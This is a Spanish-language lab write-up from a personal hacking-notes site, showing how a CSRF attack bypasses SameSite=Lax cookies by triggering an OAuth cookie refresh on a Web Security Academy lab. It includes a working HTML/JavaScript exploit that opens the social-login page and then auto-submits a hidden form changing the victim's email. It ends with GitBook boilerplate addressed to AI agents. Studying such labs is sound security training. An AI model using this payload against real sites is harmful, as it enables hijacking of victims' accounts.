> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# Evasión de SameSite Lax mediante actualización de cookie

### Bypass de SameSite Lax mediante actualización de cookies

La función de modificación del correo electrónico de la aplicación es vulnerable a un ataque CSRF. El objetivo del laboratorio es forzar el cambio de la dirección de correo electrónico de un usuario víctima alojando la demostración en el servidor de exploits proporcionado.

<figure><img src="/files/47396e600854fa3db3504d44a5b4e50b743104ac" alt="" width="563"><figcaption></figcaption></figure>

El laboratorio admite autenticación OAuth a través de un proveedor externo. Puedes conectarte con el identificador proporcionado (`wiener:peter`). Durante el proceso de autenticación, se utiliza una página de un dominio diferente para la identificación OAuth.

<figure><img src="/files/b01e1bd667fd7fb099f82c87e0ef94f1a0b9e447" alt="" width="553"><figcaption></figcaption></figure>

`Has iniciado sesión correctamente con tu cuenta de redes sociales`

* Después de conectarte a través del proveedor social, la respuesta contiene una cookie de autenticación cuyo `SameSite` atributo está establecido en `Laxo`.

<figure><img src="/files/3a79290fd90cf26b19c383f13748a729eff39eee" alt=""><figcaption></figcaption></figure>

Si cierras sesión y luego reinicias el flujo de autenticación sin volver a introducir la contraseña, la sesión se restablece: se emite una **nueva** cookie de sesión.

* → En la práctica, esto significa que si un usuario hizo clic en "cerrar sesión", tendrá que hacer clic de nuevo en " iniciar sesión" para ser redirigido al sitio y recuperar la nueva cookie de sesión.
* Gracias a este comportamiento de "actualización" de la cookie durante la autenticación a través del dominio de terceros, es posible considerar una secuencia en la que una solicitud inicial a la página de autenticación permite recuperar/establecer la cookie de sesión, y luego una segunda acción (del lado del cliente) desencadena la solicitud que modifica el correo electrónico en la cuenta del usuario.

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
